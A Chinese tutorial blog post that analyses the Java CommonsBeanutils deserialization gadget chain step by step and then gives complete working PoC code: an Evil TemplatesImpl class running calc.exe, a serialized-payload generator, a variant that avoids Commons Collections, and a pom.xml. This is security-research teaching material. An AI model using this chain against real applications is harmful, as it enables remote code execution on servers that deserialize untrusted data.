Java反序列化(九) | CommonsBeanutils
CommonsBeanutils
其实前面的CommonsBeanutilsShiro已经使用了一遍了, 但是想了想CB链还是值得拥有自己的一篇的文章的所以就再分析了一遍。
Gadget
java.util.PriorityQueue.readObject
java.util.PriorityQueue.heapify
java.util.PriorityQueue.siftDown
java.util.PriorityQueue.siftDownUsingComparator
org.apache.commons.beanutils.BeanComparator.compare
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer
准备
为了方便后面的每一步的代码可以让读者单独运行同时为了避免代码段重复太多我这里先给出全部的依赖和通过反射设置变量参数的函数, 下面想要执行单独一部分的代码只要粘贴这里的依赖和赋值函数后再复制下面的代码块内容执行即可
import POC_macker.CBShiro.Evil;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.BeanUtils;
import org.apache.commons.beanutils.PropertyUtils;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
System.out.println("End");
}
}
TemplatesImpl.newTransformer
下面我们使用的TemplatesImpl是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
TemplatesImpl.newTransformer是标准的CC3尾巴了, 先给出TemplatesImpl的构造方法:
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{clazz.toBytecode()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer(); //测试能否触发成功
}
TemplatesImpl.getOutputProperties
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
条件:
null
TemplatesImpl.getOutputProperties调用了自己的TemplatesImpl.newTransformer
BeanComparator.compare
下面开始进入CommonsBeanutils: org.apache.commons.beanutils.BeanComparator#compare
public int compare(Object o1, Object o2) {
if (this.property == null) {
return this.comparator.compare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.comparator.compare(value1, value2);
} catch (IllegalAccessException var5) {
throw new RuntimeException("IllegalAccessException: " + var5.toString());
} catch (InvocationTargetException var6) {
throw new RuntimeException("InvocationTargetException: " + var6.toString());
} catch (NoSuchMethodException var7) {
throw new RuntimeException("NoSuchMethodException: " + var7.toString());
}
}
}
通过PropertyUtils.getProperty获取传入的o1
对象的this.property
当我们满足两个条件就会调用TemplatesImpl.getOutputProperties:
- o1 = new TemplatesImpl();
- this.property = "outputProperties"
具体原因可以去了解一下JavaBean结构: JavaBean传送门
注意这里的outputProperties第一个字母必须为小写, 在调用Bean的取值函数的时候会自动在前面加上get并将第一个字母转换为大写并在最后通过反射调用动态执行o1.getOutputProperties
PriorityQueue.siftDownUsingComparator
优先队列java.util.PriorityQueue#siftDownUsingComparator
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
comparator可控, 所以我们需要满足两个条件:
-
PriorityQueue.comparator = new BeanComparator();
-
x = new TemplatesImpl();
x为传入的第二个参数
PriorityQueue.siftDownUsingComparator会调用自己comparator属性的compare函数
private final Comparator<? super E> comparator;
但是可以看到, PriorityQueue.siftDownUsingComparator是一个私有函数, 所以我们需要在它的内部找到一个调用函数
PriorityQueue.siftDown
通过查找可以直接看到内部的PriorityQueue.siftDown调用了PriorityQueue.siftDownUsingComparator
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
需要满足条件:
-
PriorityQueue.comparator != null
-
x = new TemplatesImpl();
x为传入的第二个参数
因为PriorityQueue.siftDown也还是一个private函数, 所以需要再次在类内寻找调用了PriorityQueue.siftDown的函数
发现有三个函数方法调用了PriorityQueue.siftDown, 在这里我们选择了最后一个PriorityQueue.heapify, 因为PriorityQueue.siftDown会在PriorityQueue的readObject函数中直接被调用
PriorityQueue.heapify
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
需要满足条件:
- ((size >>> 1) - 1 ) >= 0 ;
- queue[i] = new TemplatesImpl();
因为queue和size都是PriorityQueue的自身变量所以我们可以自己确定
private int size = 0;
transient Object[] queue; // non-private to simplify nested class access
PriorityQueue.readObject
PriorityQueue.readObject调用了自身的PriorityQueue.heapify, 在这里也就找到头了
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
条件:
PriorityQueue.readObject不需要什么特殊条件就会调用PriorityQueue.heapify函数
构造链
以下我注释了的代码均为测试代码,取消注释会导致代码执行
TemplatesImpl
-
self._bytecodes = 恶意加载类的字节码(我们构造一个Evil类)
-
self._name = "HelloTemplatesImpl";
-
self._tfactory = new TransformerFactoryImpl();
ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(Evil.class.getName()); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{clazz.toBytecode()}); setFieldValue(templates, "_name", "HelloTemplatesImpl"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// templates.newTransformer();
在这里就可以使用propertyUtils.getProperty测试能否调用TemplatesImpl.getOutputProperties
// PropertyUtils.getProperty(templates,"outputProperties");
BeanComparator
条件:
- this.property = "outputProperties"
BeanComparator beanComparator = new BeanComparator();
setFieldValue(beanComparator,"property","outputProperties");
// beanComparator.compare(templates,1);
PriorityQueue
条件:
- self.queue[i] = new TemplatesImpl();
- self.queue[0] = new TemplatesImpl(); //queue =
- ((self.size >>> 1) - 1 ) >= 0 ; size大小必须和queue的大小相等而且不小于2,我们设为size = 2;
- self.comparator != null ; //comparator = new BeanComparator();
PriorityQueue priorityQueue = new PriorityQueue();
setFieldValue(priorityQueue,"comparator",beanComparator);
setFieldValue(priorityQueue,"size",2);
Object[] ints = {templates,templates};
setFieldValue(priorityQueue,"queue",ints);
// priorityQueue.poll();
POC
项目结构:
POC_CODE
/POC_macker/CommonsBeanutils/Evil.java
package POC_macker.CommonsBeanutils;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public Evil() throws Exception {
super();
System.out.println("Hello TemplatesImpl");
Runtime.getRuntime().exec("calc.exe");
}
}
/POC_macker/CommonsBeanutils/Get_poc.java
package POC_macker.CommonsBeanutils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
public class Get_poc {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{clazz.toBytecode()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// templates.newTransformer();
// PropertyUtils.getProperty(templates,"outputProperties");
BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());
System.out.println("已选择使用AttrCompare构造BeanComparator,无需CC依赖");
// BeanComparator beanComparator = new BeanComparator();
// System.out.println("使用默认构造函数创建BeanComparator,需要CC依赖");
setFieldValue(beanComparator,"property","outputProperties");
// beanComparator.compare(templates,1);
PriorityQueue priorityQueue = new PriorityQueue();
setFieldValue(priorityQueue,"comparator",beanComparator);
setFieldValue(priorityQueue,"size",2);
Object[] ints = {templates,templates};
setFieldValue(priorityQueue,"queue",ints);
// priorityQueue.poll();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./poc.bin"));
objectOutputStream.writeObject(priorityQueue);
objectOutputStream.flush();
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("./poc.bin"));
// 想要测试的话注释掉下面的反序列化函数readObject即可
Object object = objectInputStream.readObject();
System.out.println("End");
}
}
这里再给一个模块化之后的代码:
package POC_macker.CommonsBeanutils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Get_poc {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
serialize(
getPayloadObject()
);
unserialize();
System.out.println("End");
}
public static Object getPayloadObject() throws Exception {
return get_PriorityQueue(
get_BeanComparator(), get_TemplatesImpl(
get_Evil_clazz(Evil.class)
)
);
}
public static CtClass get_Evil_clazz(Class Class) throws NotFoundException {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Class.getName());
return clazz;
}
public static TemplatesImpl get_TemplatesImpl(CtClass clazz) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{clazz.toBytecode()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// templates.newTransformer();
// PropertyUtils.getProperty(templates,"outputProperties");
return templates;
}
public static BeanComparator get_BeanComparator() throws Exception {
BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());
System.out.println("已选择使用AttrCompare构造BeanComparator,无需CC依赖");
// BeanComparator beanComparator = new BeanComparator();
// System.out.println("使用默认构造函数创建BeanComparator,需要CC依赖");
setFieldValue(beanComparator,"property","outputProperties");
// beanComparator.compare(templates,1);
return beanComparator;
}
public static PriorityQueue get_PriorityQueue(BeanComparator beanComparator, TemplatesImpl templates) throws Exception {
PriorityQueue priorityQueue = new PriorityQueue();
setFieldValue(priorityQueue,"comparator",beanComparator);
setFieldValue(priorityQueue,"size",2);
Object[] ints = {templates,templates};
setFieldValue(priorityQueue,"queue",ints);
// priorityQueue.poll();
return priorityQueue;
}
public static byte[] toByteArray(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();
}
public static void serialize(Object object,String name) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(name));
objectOutputStream.writeObject(object);
objectOutputStream.flush();
objectOutputStream.close();
}
public static void serialize(Object object) throws IOException {
serialize(object,"./poc.bin");
}
public static void unserialize(String name) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(name));
// 想要测试的话注释掉下面的反序列化函数readObject即可
Object get_object = objectInputStream.readObject();
}
public static void unserialize() throws IOException, ClassNotFoundException {
unserialize("./poc.bin");
}
}
CommonsBeanutils - Plus
默认的CommonsBeanutils是需要CC依赖的, 问题出在org.apache.commons.beanutils.BeanComparator对象的创建
添加CC依赖之前:
进去分析一下可以找到
org.apache.commons.beanutils.BeanComparator的全部代码:
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package org.apache.commons.beanutils;
import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.util.Comparator;
import org.apache.commons.collections.comparators.ComparableComparator;
public class BeanComparator implements Comparator, Serializable {
private String property;
private Comparator comparator;
public BeanComparator() {
this((String)null);
}
public BeanComparator(String property) {
this(property, ComparableComparator.getInstance());
}
public BeanComparator(String property, Comparator comparator) {
this.setProperty(property);
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}
}
public void setProperty(String property) {
this.property = property;
}
public String getProperty() {
return this.property;
}
public Comparator getComparator() {
return this.comparator;
}
public int compare(Object o1, Object o2) {
if (this.property == null) {
return this.comparator.compare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.comparator.compare(value1, value2);
} catch (IllegalAccessException var5) {
throw new RuntimeException("IllegalAccessException: " + var5.toString());
} catch (InvocationTargetException var6) {
throw new RuntimeException("InvocationTargetException: " + var6.toString());
} catch (NoSuchMethodException var7) {
throw new RuntimeException("NoSuchMethodException: " + var7.toString());
}
}
}
public boolean equals(Object o) {
if (this == o) {
return true;
} else if (!(o instanceof BeanComparator)) {
return false;
} else {
BeanComparator beanComparator = (BeanComparator)o;
if (!this.comparator.equals(beanComparator.comparator)) {
return false;
} else if (this.property != null) {
return this.property.equals(beanComparator.property);
} else {
return beanComparator.property == null;
}
}
}
public int hashCode() {
int result = this.comparator.hashCode();
return result;
}
}
如果想要摆脱CC依赖我们使用第三个构造函数自定义一个非CC包的Comparator,
这个Comparator必须是java.util.Comparator接口的实现同时这个Comparator需要继承了Serializeble,
这里选择com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare
所以我们可以将代码的
BeanComparator beanComparator = new BeanComparator();
setFieldValue(beanComparator,"property","outputProperties");
改为
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
BeanComparator beanComparator = new BeanComparator("outputProperties",
new AttrCompare());
setFieldValue(beanComparator,"property","outputProperties");
然后就可以不依赖CC了
pom.xml
执行失败的小伙伴可以参考一下,看看是不是少了什么依赖,执行成功的文章到这里也就结束了可以不用看了
添加org.javassist依赖之前:
最终pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>untitled</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
<dependencies>
<!-- https://mvnrepository.com/artifact/org.javassist/javassist -->
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<!-- CC依赖可选,不使用CC依赖的话创建BeanComparator使用com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare即可-->
<!-- <dependency>-->
<!-- <groupId>commons-collections</groupId>-->
<!-- <artifactId>commons-collections</artifactId>-->
<!-- <version>3.2.1</version>-->
<!-- </dependency>-->
</dependencies>
</project>
此次执行JDK版本:1.8.0_311
有点晚了,碎觉碎觉